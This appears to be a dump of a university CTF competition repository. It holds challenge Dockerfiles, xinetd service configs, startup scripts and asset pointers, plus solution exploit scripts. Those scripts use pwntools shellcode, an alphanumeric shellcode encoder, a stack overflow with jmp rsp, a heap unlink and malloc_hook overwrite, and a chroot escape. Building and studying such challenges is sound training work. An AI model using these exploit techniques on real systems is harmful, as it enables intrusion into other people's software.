| sc+='xor [rax+rdi+{}],{};\n'.format(shift,'dh' if hl else 'dl') 217 | 218 | if regname!= 'rdx': #restore rdx 219 | sc+='pop rdx;\n' 220 | return sc 221 | 222 | if __name__ == "__main__": 223 | print '[+] this is the usage:' 224 | shsc = asm(shellcraft.sh()) 225 | loop = asm('loop: jmp loop') 226 | obj = AE64() 227 | print obj.encode(shsc) 228 | print obj.encode(loop,'rbx',0x30,1) -------------------------------------------------------------------------------- /challenges/pwn/ezsc/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "2" 2 | services: 3 | #This is for test 4 | # base_pwn: 5 | # build: 6 | # context: . 7 | # dockerfile: Dockerfile 8 | # image: ctftraining/base_pwn_xinetd_kafel_1804 9 | 10 | pwn: 11 | build: 12 | context: . 13 | dockerfile: example.Dockerfile # Your Dockerfile 14 | # image: ctftraining/pwn_kafel_test # This is for test, you can change this name 15 | volumes: 16 | - ./tcpdump:/var/lib/tcpdump # Tcp dump dir 17 | ports: 18 | - "10001:10000" # Must sync with pwn.xinetd.conf 19 | environment: 20 | - FLAG=minilctf{base_pwn_xinetd_kafel} # flag init 21 | - TCPDUMP_ENABLE=1 22 | # depends_on: 23 | # - base_pwn 24 | -------------------------------------------------------------------------------- /challenges/pwn/ezsc/example.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctftraining/base_pwn_xinetd_kafel_1804 2 | 3 | COPY src /tmp/ 4 | 5 | RUN sed -i 's/archive.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/' /etc/apt/sources.list && \ 6 | sed -i 's/# deb-src/deb-src/' /etc/apt/sources.list && \ 7 | sed -i '/security/d' /etc/apt/sources.list && \ 8 | apt-get update -y && \ 9 | apt-get upgrade -y; \ 10 | # netbase tcpdump xinetd 11 | apt-get install -y --no-install-recommends netbase tcpdump xinetd; \ 12 | # lib 13 | apt-get install -y lib32ncurses5 lib32z1 lib32stdc++6; \ 14 | cp /tmp/pwn /home/ctf/pwn && \ 15 | cp /tmp/pwn.xinetd.conf /etc/xinetd.d/pwn && \ 16 | chown root:ctf /home/ctf/pwn && \ 17 | chmod 750 /home/ctf/pwn && \ 18 | apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 19 | -------------------------------------------------------------------------------- /challenges/pwn/ezsc/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ae64 import AE64 3 | 4 | context.log_level = 'debug' 5 | context.arch = 'amd64' 6 | 7 | #p = remote('pwn.challenge.mini.lctf.online',10013) 8 | p = process('./ezsc') 9 | 10 | obj = AE64() 11 | sc = obj.encode(asm(shellcraft.sh()),'rax') 12 | 13 | p.sendline(sc) 14 | 15 | p.interactive() 16 | -------------------------------------------------------------------------------- /challenges/pwn/ezsc/src/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/pwn/ezsc/src/pwn -------------------------------------------------------------------------------- /challenges/pwn/ezsc/src/pwn.xinetd.conf: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 10000 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf ./pwn 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | # the maximum instances of this service per source IP address 16 | per_source = 10 17 | # the maximum number of CPU seconds that the service may use 18 | rlimit_cpu = 20 19 | # the Address Space resource limit for the service 20 | rlimit_as = 512M 21 | #access_times = 2:00-9:00 12:00-24:00 22 | kafel_rule = /etc/pwn.kafel 23 | } 24 | -------------------------------------------------------------------------------- /challenges/pwn/hello/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "2" 2 | services: 3 | #This is for test 4 | # base_pwn: 5 | # build: 6 | # context: . 7 | # dockerfile: Dockerfile 8 | # image: ctftraining/base_pwn_xinetd_kafel_1804 9 | 10 | pwn: 11 | build: 12 | context: . 13 | dockerfile: example.Dockerfile # Your Dockerfile 14 | # image: ctftraining/pwn_kafel_test # This is for test, you can change this name 15 | volumes: 16 | - ./tcpdump:/var/lib/tcpdump # Tcp dump dir 17 | ports: 18 | - "10001:10000" # Must sync with pwn.xinetd.conf 19 | environment: 20 | - FLAG=minilctf{base_pwn_xinetd_kafel} # flag init 21 | - TCPDUMP_ENABLE=1 22 | # depends_on: 23 | # - base_pwn 24 | -------------------------------------------------------------------------------- /challenges/pwn/hello/example.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctftraining/base_pwn_xinetd_kafel_1804 2 | 3 | COPY src /tmp/ 4 | 5 | RUN sed -i 's/archive.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/' /etc/apt/sources.list && \ 6 | sed -i 's/# deb-src/deb-src/' /etc/apt/sources.list && \ 7 | sed -i '/security/d' /etc/apt/sources.list && \ 8 | apt-get update -y && \ 9 | apt-get upgrade -y; \ 10 | # netbase tcpdump xinetd 11 | apt-get install -y --no-install-recommends netbase tcpdump xinetd; \ 12 | # lib 13 | apt-get install -y lib32ncurses5 lib32z1 lib32stdc++6; \ 14 | cp /tmp/pwn /home/ctf/pwn && \ 15 | cp /tmp/pwn.xinetd.conf /etc/xinetd.d/pwn && \ 16 | chown root:ctf /home/ctf/pwn && \ 17 | chmod 750 /home/ctf/pwn && \ 18 | apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 19 | -------------------------------------------------------------------------------- /challenges/pwn/hello/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.log_level = 'DEBUG' 3 | p=remote('challenge.mini.lctf.online',10046) 4 | context.arch='amd64' 5 | context.os='linux' 6 | context.endian = 'little' 7 | 8 | #shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" 9 | #shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" 10 | #shellcode_x86 += "\x0b\xcd\x80" 11 | shellcode_x64 = asm(shellcraft.sh()) 12 | print(len(shellcode_x64)) 13 | sub_esp_jmp = asm('sub rsp, 0x40;jmp rsp') 14 | #jmp_esp = 0x080484ee 15 | #jmp_esp = 0x080484ee 16 | jmp_esp=0x00000000004006ca 17 | payload = shellcode_x64 + ( 0x30 - len(shellcode_x64)) * 'a' + 'bbbbbbbb' + p64(jmp_esp) + sub_esp_jmp 18 | p.sendline(payload) 19 | p.interactive() 20 | -------------------------------------------------------------------------------- /challenges/pwn/hello/src/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/pwn/hello/src/pwn -------------------------------------------------------------------------------- /challenges/pwn/hello/src/pwn.xinetd.conf: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 10000 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = --userspec=1000:1000 /home/ctf ./pwn 13 | banner_fail = /etc/banner_fail 14 | # safety options 15 | # the maximum instances of this service per source IP address 16 | per_source = 10 17 | # the maximum number of CPU seconds that the service may use 18 | rlimit_cpu = 20 19 | # the Address Space resource limit for the service 20 | rlimit_as = 512M 21 | #access_times = 2:00-9:00 12:00-24:00 22 | kafel_rule = /etc/pwn.kafel 23 | } 24 | -------------------------------------------------------------------------------- /challenges/pwn/jail/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /lib* /home/ctf && \ 12 | cp -R /usr/lib* /home/ctf 13 | 14 | RUN mkdir /home/ctf/dev && \ 15 | mknod /home/ctf/dev/null c 1 3 && \ 16 | mknod /home/ctf/dev/zero c 1 5 && \ 17 | mknod /home/ctf/dev/random c 1 8 && \ 18 | mknod /home/ctf/dev/urandom c 1 9 && \ 19 | chmod 666 /home/ctf/dev/* 20 | 21 | RUN mkdir /home/ctf/bin && \ 22 | cp /bin/sh /home/ctf/bin && \ 23 | cp /bin/ls /home/ctf/bin && \ 24 | cp /bin/cat /home/ctf/bin 25 | 26 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 27 | COPY ./start.sh /start.sh 28 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 29 | 30 | RUN chmod +x /start.sh 31 | 32 | COPY pwn /home/ctf/pwn 33 | RUN chown -R root:ctf /home/ctf && \ 34 | chmod -R 750 /home/ctf 35 | 36 | CMD ["/start.sh"] 37 | 38 | EXPOSE 9999 39 | -------------------------------------------------------------------------------- /challenges/pwn/jail/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | server_args = / timeout 30 ./home/ctf/pwn 13 | banner_fail = /etc/banner_fail 14 | 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 60 # the maximum number of CPU seconds that the service may use 18 | rlimit_as = 50M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | 21 | #Instances = 20 #process limit 22 | #per_source = 5 #link ip limit 23 | 24 | #log warning die 25 | log_on_success = PID HOST EXIT DURATION 26 | log_on_failure = HOST ATTEMPT 27 | log_type =FILE /var/log/myservice.log 8388608 15728640 28 | 29 | } 30 | -------------------------------------------------------------------------------- /challenges/pwn/jail/exploit/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | from pwn import * 5 | #io = process('./awd3') 6 | ''' 7 | $ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep -E "mkdir|chroot|fchdir" 8 | #define __NR_fchdir 81 9 | #define __NR_mkdir 83 10 | #define __NR_chroot 161 11 | ''' 12 | # open / -> fchdir / -> mkdir subdir -> chroot /subdir/ -> fchdir ../../ -> chroot . -> cat flag 13 | 14 | def runbin(lenth, data, arg): 15 | io.sendlineafter('len?\n', str(lenth)) 16 | io.sendlineafter('data?\n', data) 17 | io.sendlineafter('elf?\n', arg) 18 | 19 | if __name__ == '__main__': 20 | io =remote("localhost",9999) 21 | f = open('./exploit', 'rb') 22 | 23 | payload = f.read() 24 | runbin(len(payload)+1, payload, '') 25 | print(io.recvuntil('[*] setting chroot').decode()) 26 | io.close() 27 | -------------------------------------------------------------------------------- /challenges/pwn/jail/exploit/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/pwn/jail/exploit/exploit -------------------------------------------------------------------------------- /challenges/pwn/jail/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/pwn/jail/pwn -------------------------------------------------------------------------------- /challenges/pwn/jail/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | echo $FLAG > /flag 4 | chown root:root /flag 5 | chmod 444 /flag 6 | export FLAG= 7 | # DO NOT DELETE 8 | /etc/init.d/xinetd start; 9 | sleep infinity; 10 | -------------------------------------------------------------------------------- /challenges/pwn/noleak/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /lib* /home/ctf && \ 12 | cp -R /usr/lib* /home/ctf 13 | 14 | RUN mkdir /home/ctf/dev && \ 15 | mknod /home/ctf/dev/null c 1 3 && \ 16 | mknod /home/ctf/dev/zero c 1 5 && \ 17 | mknod /home/ctf/dev/random c 1 8 && \ 18 | mknod /home/ctf/dev/urandom c 1 9 && \ 19 | chmod 666 /home/ctf/dev/* 20 | 21 | RUN mkdir /home/ctf/bin && \ 22 | cp /bin/sh /home/ctf/bin && \ 23 | cp /bin/ls /home/ctf/bin && \ 24 | cp /bin/cat /home/ctf/bin 25 | 26 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 27 | COPY ./start.sh /start.sh 28 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 29 | 30 | RUN chmod +x /start.sh 31 | 32 | COPY ./bin/ /home/ctf/ 33 | RUN chown -R root:ctf /home/ctf && \ 34 | chmod -R 750 /home/ctf && \ 35 | chmod 740 /home/ctf/flag 36 | 37 | CMD ["/start.sh"] 38 | 39 | EXPOSE 9999 40 | -------------------------------------------------------------------------------- /challenges/pwn/noleak/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 /home/ctf ./time_management 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /challenges/pwn/noleak/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.log_level = 'debug' 3 | 4 | p = process('./noleak') 5 | 6 | def create(size, content): 7 | p.recvuntil('Your choice : ') 8 | p.sendline('1') 9 | p.recvuntil('Size of Heap : ') 10 | p.sendline(str(size)) 11 | p.recvuntil('Content of heap: ') 12 | p.sendline(content) 13 | 14 | def edit(idx,content): 15 | p.recvuntil('Your choice : ') 16 | p.sendline('2') 17 | p.recvuntil('Index : ') 18 | p.sendline(str(idx)) 19 | p.recvuntil('Size of Heap : ') 20 | p.sendline('0') 21 | p.recvuntil('Content of heap : ') 22 | p.sendline(content) 23 | 24 | def delete(idx): 25 | p.recvuntil('Your choice : ') 26 | p.sendline('3') 27 | p.recvuntil('Index : ') 28 | p.sendline(str(idx)) 29 | 30 | ptr = 0x6020c0 31 | pwnme_addr = 0x400CCE 32 | 33 | create(0x20,'aaa') 34 | create(0x90,'bbb') 35 | create(0x10,'ccc') 36 | create(0x90,'ddd') 37 | create(0x10,'eee') 38 | 39 | #unlink 40 | payload = p64(0)+p64(0x20)+p64(ptr-0x18)+p64(ptr-0x10) 41 | payload += p64(0x20)+p64(0xa0)+p64(0)+p64(ptr) 42 | edit(0,payload) 43 | delete(1) 44 | 45 | #unsorted bin attack 46 | delete(3) 47 | payload = p64(0)*3+p64(0xa1)+p64(0)+p64(ptr) 48 | edit(2,payload) 49 | create(0x90,'fff') 50 | 51 | payload = p64(0)*3+p64(0x6020d0) 52 | edit(0,payload) 53 | edit(0,p8(0x10))#malloc_hook 54 | edit(2,p64(pwnme_addr)) 55 | 56 | p.recvuntil('Your choice : ') 57 | p.sendline('1') 58 | p.recvuntil('Size of Heap : ') 59 | p.sendline(str(0x10)) 60 | 61 | p.interactive() 62 | -------------------------------------------------------------------------------- /challenges/pwn/noleak/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | echo $FLAG > /home/ctf/flag 5 | unset FLAG 6 | 7 | # DO NOT DELETE 8 | /etc/init.d/xinetd start; 9 | sleep infinity; 10 | -------------------------------------------------------------------------------- /challenges/pwn/noleak/time_management: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/pwn/noleak/time_management -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/ExDui.ec: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/EPL-Fish/ExDui.ec -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/QQ.e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/EPL-Fish/QQ.e -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/app.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/EPL-Fish/app.ico -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/BtnBase.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:f26c43494f6e17a3eb21e588bef7f198580a720f22eba6cac2b9c5bfaa20a34b 3 | size 417 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/aio_setting_white_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:20263975e93181aa3ac5b941e6a6ca1a4c48f2848627d9fb6d1d519c1080cdfb 3 | size 277 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/aio_setting_white_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:4abd72c8cbf86454d14f31e6e0cb523c2793f7c0882edec3242e0680d5ae37ec 3 | size 279 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/aio_setting_white_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:ebc37df32ef4cd0d8dff846563bde09f74747317ab94d97f5b61350c643fdfb0 3 | size 279 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/btn_close_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:7b8075ea36c18157b4146b6d93cbffbdd89fd9c4b49a29951377a80d8c843f0f 3 | size 188 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/btn_close_highlight.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:8e7596ced7e9a8d5feff44fe82bbb415ec880e4e835864be220c642499b37d1b 3 | size 199 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/btn_close_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:efccc7fca12632660b5ae1042cae3f37ecb0dca775fd3721adee036b09aeb033 3 | size 183 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/btn_mini_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:5c94d5b05868e8621f5a6b7987f97ec36ddefc85841a0a0baa377d1e3f7c8a66 3 | size 124 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/btn_mini_highlight.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:96fcb15722c6494ee5956eb7a4ee40a23607cb002ee9d6e677f16b2322aaac98 3 | size 124 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/btn_mini_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:c287dbcc0ffb78cf97c8fdc98caa7198fa7b781b35bfd63506b06f0f34221a5c 3 | size 124 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/button_login_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:5a9a2efa2127ce30ac827c21202ffb171072badf41da44e2d0f91155c8f2868d 3 | size 201 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/button_login_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:8fa8859ed6f848593b460bb88f5f171b9692161829082cc4815f32a5040075c4 3 | size 201 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/button_login_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:354c9cb1c7f5106d7234bfc5c2f955523daa4c19f84abc9fc9c5325af37ad3a6 3 | size 200 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/corner_right_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:71bd7ace265f82dea94abb8b22931e25a918be8c9600bd69c22bd144b2e8d63e 3 | size 203 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/corner_right_normal_breath.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:2479031296581366d99dc7b3481d505ee03d60201b8c00dbb54c6a455e26b9a1 3 | size 203 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/corner_right_normal_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:94cef21720a398fc242d0a6287ec958145b127922a78fc7b111530bdd59da9cf 3 | size 203 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/mima.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:fc917be6890ccc1643d7eff8a570c7fd774f80ffafdffd0be02eaff9fd6da340 3 | size 290 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/mima_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:d6942ef53d955a9353f4fb4f4fe26effc829eb7f8c26aaa7b1235b4bf7e17a80 3 | size 290 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/mima_press.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:4657f5559c1a0483a8c5bbaa0416e64f8093c024e4efda63fa2e72b7855086c7 3 | size 290 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/switch_single_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:bb08e448f7cc1cec0d68446c6506d5d7e7eaac9c58757aadb66ab42777ff3052 3 | size 430 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/switch_single_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:af70d33c13e5de9788e3b778f93da3e692b0d7ef46220a6df5c08a5545b65ebc 3 | size 430 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/switch_single_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:7eb17a8330ebbab68ef22444afe59e767909ace0e4c6bd7d94053b97589c0e38 3 | size 430 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/zhuce.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:80e1f0e32d5a66df756d583d61ad8dbf2289cd5db1f63d02803efb93b9d281eb 3 | size 265 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/zhuce_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:790488696d1bbf1ecf1ec597fab1968e2202458dfeb984c156193eb19401c160 3 | size 265 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Btn_Login/zhuce_press.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:10bf951f8a041862fb30d930b5574641d19e2a53e30703f77d7ab82f2a296519 3 | size 265 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/CheckBox/CheckBox_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:c09b3e23f0f1585ba5996347d0960cfa22c9433b22431a8018c2cc60efe52899 3 | size 192 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/CheckBox/CheckBox_highlight.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:25db6ded052c590ecc6192dab8adeb4c359e80fdb55cbfd73d56fce46c292ff4 3 | size 175 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/CheckBox/CheckBox_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:a920b7ecafcf85c2eef564ca51d5de4587e804d60b90c7a4fd77ef555e4cfeb2 3 | size 175 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/CheckBox/Checkbox_tick_highlight1.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:7f8e3eef976de73f52ae770bb74eb5665c0c185c7943739c3dab18704787e30b 3 | size 165 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/CheckBox/Checkbox_tick_normal1.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:4f37fa0884c14a4bb5c271ed6dde62911664fb854e60491bbd87843fa9d672ab 3 | size 165 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/CheckBox/Checkbox_tick_pushed1.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:c1b118575b6d07fece0bd1a469ebe6f3217a0da23739f1beb29e3778f5d4e9d2 3 | size 165 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Editbk_bottom_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:a0e86d89ad5cc61dd17a71ee408a981cb3dc7b49ca1027a214c4876e68a7e122 3 | size 877 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Editbk_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:f66172d6cb2635893c0c5789cb04eec8155d8f0238e4801474a990d228e8ba83 3 | size 782 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/Editbk_top_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:2ef0e4e50222220393168e8d032b4a832e1d269a43dd472f7b5c3ecd218389b2 3 | size 871 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/PasswordEdit_Keybd/keyboard_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:2eed521f0deb65291c939c0d69ea8adb73acf8cb59600eca88a99b219c9e0e68 3 | size 205 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/PasswordEdit_Keybd/keyboard_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:f31e7a55e7ecf6454add9414563f081f7345f156204b196fd621b9e1ffa38bf2 3 | size 205 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/PasswordEdit_Keybd/keyboard_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:f52049877a20fb8246bc8b5cb91d85f329610053afdf793dec334460eca779f1 3 | size 206 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/EPL-Fish/res/LoginFrame/a.jpg -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/bk.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/EPL-Fish/res/LoginFrame/bk.jpg -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/default.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/EPL-Fish/res/LoginFrame/default.jpg -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/logo-banner.png: -------------------------------------------------------------------------------- 